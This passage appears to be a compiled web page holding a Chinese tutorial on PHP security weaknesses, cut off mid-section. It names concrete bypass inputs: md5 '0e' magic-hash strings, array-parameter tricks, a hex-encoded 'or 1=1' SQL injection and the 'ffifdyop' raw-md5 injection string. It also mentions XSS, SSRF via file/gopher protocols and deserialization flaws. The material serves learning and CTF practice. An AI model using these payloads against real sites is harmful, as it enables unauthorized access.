\u5728\u5904\u7406\u54c8\u5e0c\u5b57\u7b26\u4e32\u7684\u65f6\u5019\uff0c\u4f1a\u4f7f\u7528",(0,r.jsx)(e.code,{children:"!="}),"\u6216\u8005",(0,r.jsx)(e.code,{children:"=="}),"\u6765\u5bf9\u54c8\u5e0c\u503c\u8fdb\u884c\u6bd4\u8f83\uff0c\u5b83\u4f1a\u628a\u6bcf\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u90fd\u89e3\u91ca\u4e3a0\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\uff0c\u7ecf\u8fc7\u54c8\u5e0c\u4ee5\u540e\u5b83\u4eec\u90fd\u53d8\u6210\u4e86",(0,r.jsx)(e.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\uff0c\u90a3\u4e48 PHP \u5c31\u4f1a\u5c06\u5b83\u4eec\u89c6\u4f5c\u76f8\u7b49\u5904\u7406\u3002\u90a3\u4e48",(0,r.jsx)(e.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u6709\u54ea\u4e9b\u5462\uff1f"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-text",children:"s878926199a\n0e5459932745177090343288558410s155964671a\n0e3427684168224515249741172544s214587387a\n0e8482404488305379244658656119s214587387a\n0e8482404488305379244658656119s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s1885207154a\n0e5093672134182067008420087635s1502113478a\n0e8615801632915612474043813960s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s155964671a\n0e3427684168224515249741172544s1184209335a\n0e0724858203927733895231090820s1665632922a\n0e7311980614911630731971283637s1502113478a\n0e8615801632915612474043813960s1836677006a\n0e4810364908676611132600349007s1091221200a\n0e9406242178565615578163273846s155964671a\n0e3427684168224515249741172544s1502113478a\n0e8615801632915612474043813960s155964671a\n0e3427684168224515249741172544s1665632922a\n0e7311980614911630731971283637s155964671a\n0e3427684168224515249741172544s1091221200a\n0e9406242178565615578163273846s1836677006a\n0e4810364908676611132600349007s1885207154a\n0e5093672134182067008420087635s532378020a\n0e2204630958555115075880412058s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s214587387a\n0e8482404488305379244658656119s1502113478a\n0e8615801632915612474043813960s1091221200a\n0e9406242178565615578163273846s1665632922a\n0e7311980614911630731971283637s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s1665632922a\n0e7311980614911630731971283637s878926199a\n0e5459932745177090343288558410```\n\n\n\u6765\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u5427\n\n\u4ee3\u7801\u793a\u4f8b\uff1a\n\n```php\n\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u6211\u7ed9\u51fa\u7684\u54ea\u4e9b\u503c\u4e2d\uff0c\u6311\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\u4f20\u5165\u53c2\u6570\uff0c\u5c31\u80fd\u770b\u5230\u76f8\u5e94\u7684\u7ed3\u679c"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u9762\u662f",(0,r.jsx)(e.code,{children:"md5()"}),"\u51fd\u6570\u7684\u7ed5\u8fc7\u59ff\u52bf\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"sha1()"}),"\u5982\u4f55\u7ed5\u8fc7\u5462\uff1f\u518d\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5f53\u6211\u4eec\u4f20\u5165",(0,r.jsx)(e.code,{children:"a[]=1&b[]=2"}),"\u7684\u65f6\u5019\uff0c\u867d\u7136\u5b83\u4f1a\u7ed9\u51fa\u8b66\u544a\uff0c\u8bf4\u6211\u4eec\u5e94\u8be5\u4f20\u5165\u5b57\u7b26\u4e32\u800c\u4e0d\u5e94\u8be5\u662f\u6570\u7ec4\uff0c\u4f46\u662f\u5b83\u8fd8\u662f\u8f93\u51fa\u4e86",(0,r.jsx)(e.code,{children:"nice!!!"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u7528\u6570\u5b57\u6765\u7ed5\u8fc7",(0,r.jsx)(e.code,{children:"sha1()"}),"\u51fd\u6570\u7684\u6bd4\u8f83\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"is_numeric\u7ed5\u8fc7",children:"is_numeric()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u4e86\u89e3\u4e00\u4e0b\u8fd9\u4e2a\u51fd\u6570\u3002\u6b64\u51fd\u6570\u662f\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"is_numeric( mixed $var) : bool\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c",(0,r.jsx)(e.code,{children:"var"}),"\u662f\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32\u90a3\u4e48\u5c31\u8fd4\u56deTRUE\uff0c\u5426\u5219\u5c31\u8fd4\u56deFALSE\u3002\u90a3\u4e48\u8fd9\u91cc\u8bf4\u7684\u7ed5\u8fc7\u662f\u4ec0\u4e48\u59ff\u52bf\u5462\uff1f\u662f\u5341\u516d\u8fdb\u5236\u3002\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nIt meets my requirement\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u8bf4\u4e00\u4e0b",(0,r.jsx)(e.code,{children:"0x31206f722031"}),"\u8fd9\u4e2a\u662f\u4ec0\u4e48\uff1f\u8fd9\u4e2a\u662f",(0,r.jsx)(e.code,{children:"or 1=1"}),"\u7684\u5341\u516d\u8fdb\u5236\uff0c\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\uff0c\u5982\u679c\u67d0\u5904\u4f7f\u7528\u4e86\u6b64\u51fd\u6570\uff0c\u5e76\u5c06\u4fee\u9970\u540e\u7684\u53d8\u91cf\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u5b9e\u73b0sql\u6ce8\u5165\u3002\u540c\u6837\u7684\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u518dCTF\u6bd4\u8d5b\u4e2d\u4e5f\u662f\u5f88\u5e38\u89c1\u7684\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"in_array\u7ed5\u8fc7",children:"in_array()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u68c0\u6d4b\u6570\u7ec4\u4e2d\u662f\u5426\u5b58\u5728\u67d0\u4e2a\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-28",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"needle\uff1a\u5e26\u641c\u7d22\u7684\u503c(\u533a\u5206\u5927\u5c0f\u5199)\u3002"}),"\n",(0,r.jsx)(e.li,{children:"haystack\uff1a\u5e26\u641c\u7d22\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(e.li,{children:["strict\uff1a\u82e5\u6b64\u53c2\u6570\u7684\u503c\u4e3aTRUE\uff0c\u90a3\u4e48",(0,r.jsx)(e.code,{children:"in_array()"}),"\u51fd\u6570\u5c06\u4f1a\u68c0\u67e5needle\u7684\u7c7b\u578b\u662f\u5426\u548chaystack\u4e2d\u7684\u7c7b\u578b\u76f8\u540c\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6709\u65f6\u5019\u6211\u4eec\u518d\u4f20\u5165\u4e00\u4e2a\u6570\u7ec4\u7684\u65f6\u5019\uff0c\u4ee3\u7801\u53ef\u80fd\u4f1a\u8fc7\u6ee4\u67d0\u4e9b\u654f\u611f\u5b57\u7b26\u4e32\uff0c\u4f46\u662f\u6211\u4eec\u53c8\u9700\u8981\u4f20\u5165\u8fd9\u6837\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u6211\u4eec\u5e94\u8be5\u5982\u4f55\u7ed5\u8fc7\u5b83\u7684\u68c0\u6d4b\u5462\uff1f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u6267\u884c\u7684\u7ed3\u679c\u4f1a\u662f\u4ec0\u4e48\u5462\uff1f\u4ece\u7b80\u5355\u7684\u903b\u8f91\u4e0a\u5206\u6790\u30020\u662f\u4e0d\u5b58\u5728\u8981\u641c\u7d22\u7684\u6570\u7ec4\u4e2d\u7684\uff0c\u6240\u4ee5\u7406\u8bba\u4e0a\uff0c\u5e94\u8be5\u662f\u8f93\u51fa",(0,r.jsx)(e.code,{children:"not in array"}),"\uff0c\u4f46\u662f\u5b9e\u9645\u5374\u8f93\u51fa\u4e86",(0,r.jsx)(e.code,{children:"It's in array"}),"\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u539f\u56e0\u5c31\u5728\u4e8ePHP\u7684\u9ed8\u8ba4\u7c7b\u578b\u8f6c\u6362\u3002\u8fd9\u91cc\u6211\u4eec\u7b2c\u4e09\u4e2a\u53c2\u6570\u5e76\u6ca1\u6709\u8bbe\u7f6e\u4e3a",(0,r.jsx)(e.code,{children:"true"}),"\u90a3\u4e48\u9ed8\u8ba4\u5c31\u662f\u975e\u4e25\u683c\u6bd4\u8f83\uff0c\u6240\u4ee5\u5728\u6570\u5b57\u4e0e\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\u65f6\uff0c\u5b57\u7b26\u4e32\u5148\u88ab\u5f3a\u5236\u8f6c\u6362\u6210\u6570\u5b57\uff0c\u7136\u540e\u518d\u8fdb\u884c\u6bd4\u8f83\u3002\u5e76\u4e14\u56e0\u4e3a\u67d0\u4e9b\u7c7b\u578b\u8f6c\u6362\u6b63\u5728\u53d1\u751f\uff0c\u5c31\u4f1a\u5bfc\u81f4\u53d1\u751f\u6570\u636e\u4e22\u5931\uff0c\u5e76\u4e14\u90fd\u88ab\u89c6\u4e3a\u76f8\u540c\u3002\u6240\u4ee5\u5f52\u6839\u5230\u5e95\u8fd8\u662f\u975e\u4e25\u683c\u6bd4\u8f83\u5bfc\u81f4\u7684\u95ee\u9898\u3002\u6240\u4ee5\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7528\u6765\u53d8\u91cf\u68c0\u6d4b\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u5426\u5f00\u542f\uff0c\u82e5\u672a\u5f00\u542f\uff0c\u5219\u5b58\u5728\u6570\u7ec4\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"xss",children:"XSS"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8fd9\u91cc\u9996\u5148\u4f60\u8981\u5bf9XSS\u7684\u57fa\u672c\u539f\u7406\u8981\u77e5\u9053\u3002PHP\u4e2d\u4e00\u4e0b\u8fd9\u4e9b\u51fd\u6570\u4e4b\u6240\u4ee5\u4f1a\u51fa\u73b0XSS\u7684\u6f0f\u6d1e\u60c5\u51b5\uff0c\u4e3b\u8981\u8fd8\u662f\u6ca1\u6709\u5bf9\u8f93\u51fa\u7684\u53d8\u91cf\u8fdb\u884c\u8fc7\u6ee4\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"print",children:"print()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648095.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"print_r",children:"print_r()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648095.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"echo",children:"echo()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u4f20\u5165\u76f8\u5e94\u53c2\u6570\uff0c\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648095.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"printf",children:"printf()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\u548c\u4e0a\u9762\u76f8\u540c\uff0c\u6211\u5c31\u4e0d\u518d\u8d34\u56fe\u7247\u4e86\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"sprintf",children:"sprintf()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"die",children:"die()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u8f93\u51fa\u4e00\u6761\u4fe1\u606f\uff0c\u5e76\u9000\u51fa\u5f53\u524d\u811a\u672c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"var_dump",children:"var_dump()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u6253\u5370\u53d8\u91cf\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u7528\u6765\u663e\u793a\u5173\u4e8e\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u5305\u62ec\u8868\u8fbe\u5f0f\u7684\u7c7b\u578b\u4e0e\u503c\u3002\u6570\u7ec4\u5c06\u9012\u5f52\u5c55\u5f00\u4e4b\uff0c\u901a\u8fc7\u7f29\u8fdb\u663e\u793a\u5176\u7ed3\u6784\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"var_export",children:"var_export()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u8f93\u51fa\u6216\u8005\u8fd4\u56de\u4e00\u4e2a\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u8868\u793a\u3002\u5b83\u8fd4\u56de\u5173\u4e8e\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u7684\u53d8\u91cf\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u548c",(0,r.jsx)(e.code,{children:"var_dump"}),"\u7c7b\u4f3c\uff0c\u4e0d\u540c\u7684\u662f\u5176\u8fd4\u56de\u7684\u8868\u793a\u662f\u5408\u6cd5\u7684 PHP \u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648096.png",alt:"img"})}),"\n",(0,r.jsx)(e.h2,{id:"php\u9ed1\u9b54\u6cd5",children:"PHP\u9ed1\u9b54\u6cd5"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u5927\u90e8\u5206\u51fd\u6570\u7684\u4f7f\u7528\u5df2\u7ecf\u5728\u4e0a\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\u4e86\uff0c\u8fd9\u91cc\u6211\u5c31\u9488\u5bf9\u6bcf\u4e00\u79cd\u51fd\u6570\u5927\u6982\u4ecb\u7ecd\u4e00\u4e0b\u5176\u4e3b\u8981\u5b58\u5728\u7684\u5229\u7528\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"md5",children:"md5()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"md5()"}),"\u51fd\u6570\u7ed5\u8fc7sql\u6ce8\u5165\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"$password=$_POST['password'];\n$sql = \"SELECT * FROM admin WHERE username = 'admin' and password = '\".md5($password,true).\"'\";\n$result=mysqli_query($link,$sql);\nif(mysqli_num_rows($result)>0){\n echo 'flag is :'.$flag;\n}\nelse{\n echo '\u5bc6\u7801\u9519\u8bef!';\n}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u63d0\u4ea4\u7684\u53c2\u6570\u901a\u8fc7",(0,r.jsx)(e.code,{children:"md5"}),"\u51fd\u6570\u5904\u7406\uff0c\u7136\u540e\u518d\u8fdb\u5165SQL\u67e5\u8be2\u8bed\u53e5\uff0c\u6240\u4ee5\u5e38\u89c4\u7684\u6ce8\u5165\u624b\u6bb5\u5c31\u4e0d\u884c\u4e86\uff0c\u90a3\u4e48\u5982\u679cmd5\u540e\u7684\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u683c\u5f0f\u53d8\u6210\u4e86",(0,r.jsx)(e.code,{children:"'or'xxxx"}),"\u7684\u683c\u5f0f\uff0c\u4e0d\u5c31\u53ef\u4ee5\u6ce8\u5165\u4e86\u4e48\u3002",(0,r.jsx)(e.code,{children:"md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c"})]}),"\n",(0,r.jsxs)(e.p,{children:["\u8f6c\u6210\u5b57\u7b26\u4e32\u4e3a",(0,r.jsx)(e.code,{children:"'or'6xxx"})]}),"\n",(0,r.jsx)(e.h3,{id:"eval-1",children:"eval()"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u6267\u884c\u547d\u4ee4\u65f6\uff0c\u53ef\u4f7f\u7528\u5206\u53f7\u6784\u9020\u5904\u591a\u6761\u8bed\u53e5\u3002\u7c7b\u4f3c\u8fd9\u79cd\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.h3,{id:"ereg",children:"ereg()"}),"\n",(0,r.jsxs)(e.p,{children:["\u5b58\u5728",(0,r.jsx)(e.code,{children:"%00"}),"\u622a\u65ad\uff0c\u5f53\u9047\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u6765\u8fdb\u884c\u6b63\u5219\u5339\u914d\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u7528",(0,r.jsx)(e.code,{children:"%00"}),"\u6765\u622a\u65ad\u6b63\u5219\u5339\u914d\uff0c\u4ece\u800c\u7ed5\u8fc7\u6b63\u5219\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"strcmp",children:"strcmp()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u5728\u524d\u9762\u4ecb\u7ecd\u8fc7\uff0c\u5c31\u662f\u6570\u7ec4\u7ed5\u8fc7\u6280\u5de7\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"curl_setopt",children:"curl_setopt()"}),"\n",(0,r.jsx)(e.p,{children:"\u5b58\u5728ssrf\u6f0f\u6d1e\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528file\u534f\u8bae\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648097.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\u8fd8\u6709dict\u534f\u8bae\u67e5\u770b\u7aef\u53e3\u4fe1\u606f\u3002gopher\u534f\u8bae\u53cd\u5f39shell\u5229\u7528\u7b49\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"preg_replace-1",children:"preg_replace()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u524d\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\uff0c/e\u6a21\u5f0f\u4e0b\u7684\u547d\u4ee4\u6267\u884c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"urldecode",children:"urldecode()"}),"\n",(0,r.jsx)(e.p,{children:"url\u4e8c\u6b21\u7f16\u7801\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5c06Ameng\u8fdb\u884c\u4e8c\u6b21url\u7f16\u7801\uff0c\u7136\u540e\u4f20\u5165\u5373\u53ef\u5f97\u5230\u6ee1\u8db3\u6761\u4ef6\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"file_get_contents-1",children:"file_get_contents()"}),"\n",(0,r.jsx)(e.p,{children:"\u5e38\u7528\u4f2a\u534f\u8bae\u6765\u8fdb\u884c\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"parse_url",children:"parse_url()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u4e3b\u8981\u7528\u4e8e\u7ed5\u8fc7\u67d0\u4e9b\u8fc7\u6ee4\uff0c\u5148\u7b80\u5355\u4e86\u89e3\u4e00\u4e0b\u51fd\u6570\u7684\u57fa\u672c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n ( \n [scheme] => http \n [host] => www.jlx-love.com \t\t[path] => /about \n\t)\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u51fd\u6570\u628a\u6211\u4eec\u7684\u53d8\u91cf\u503c\u62c6\u5206\u6210\u4e00\u4e2a\u51e0\u4e2a\u90e8\u5206\u3002\u90a3\u4e48\u7ed5\u8fc7\u8fc7\u6ee4\u53c8\u662f\u8bf4\u7684\u54ea\u56de\u4e8b\u5462\uff1f\u5176\u5b9e\u5c31\u662f\u5f53\u6211\u4eec\u5728\u6d4f\u89c8\u5668\u8f93\u5165url\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u5c06url\u4e2d\u7684\\\u8f6c\u6362\u4e3a/\uff0c\u4ece\u800c\u5c31\u4f1a\u5bfc\u81f4",(0,r.jsx)(e.code,{children:"parse_url"}),"\u7684\u767d\u540d\u5355\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,r.jsx)(e.h3,{id:"\u7b80\u4ecb",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e86\u89e3\u4e00\u4e9b\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u4e86\u89e3\u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5e8f\u5217\u5316\uff1a\u628a\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u8282\u5e8f\u5217\u7684\u8fc7\u7a0b\u6210\u4e3a\u5bf9\u8c61\u7684\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u53cd\u5e8f\u5217\u5316\uff1a\u628a\u5b57\u8282\u5e8f\u5217\u6062\u590d\u4e3a\u5bf9\u8c61\u7684\u8fc7\u7a0b\u79f0\u4e3a\u5bf9\u8c61\u7684\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5f52\u6839\u5230\u5e95\uff0c\u5c31\u662f\u5c06\u6570\u636e\u8f6c\u5316\u6210\u4e00\u79cd\u53ef\u9006\u7684\u6570\u636e\u7ed3\u6784\uff0c\u9006\u5411\u7684\u8fc7\u7a0b\u5c31\u662f\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728 PHP \u4e2d\u4e3b\u8981\u5c31\u662f\u901a\u8fc7",(0,r.jsx)(e.code,{children:"serialize"}),"\u548c",(0,r.jsx)(e.code,{children:"unserialize"}),"\u6765\u5b9e\u73b0\u6570\u636e\u7684\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6f0f\u6d1e\u662f\u5982\u4f55\u5f62\u6210\u7684\u5462\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"PHP \u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e3b\u8981\u662f\u56e0\u4e3a\u672a\u5bf9\u7528\u6237\u8f93\u5165\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u8fdb\u884c\u68c0\u6d4b\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\uff0c\u4ece\u800c\u5c31\u53ef\u4ee5\u5bfc\u81f4\u5404\u79cd\u5371\u9669\u884c\u4e3a\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u6211\u4eec\u5148\u6765\u770b\u4e00\u770b\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\u683c\u5f0f\u662f\u600e\u6837\u7684\uff0c\u4e86\u89e3\u4e86\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\uff0c\u6211\u4eec\u624d\u80fd\u66f4\u597d\u7684\u7406\u89e3\u548c\u5229\u7528\u6f0f\u6d1e\u3002\u6240\u4ee5\u6211\u4eec\u6765\u6784\u9020\u4e00\u6bb5\u5e8f\u5217\u5316\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nO:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}\n'})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648098.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u8fd8\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f\u5173\u4e8e\u53d8\u91cf\u7684\u5206\u7c7b\uff0c\u53d8\u91cf\u7684\u7c7b\u522b\u6709\u4e09\u79cd\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"public\uff1a\u6b63\u5e38\u64cd\u4f5c\uff0c\u5728\u53cd\u5e8f\u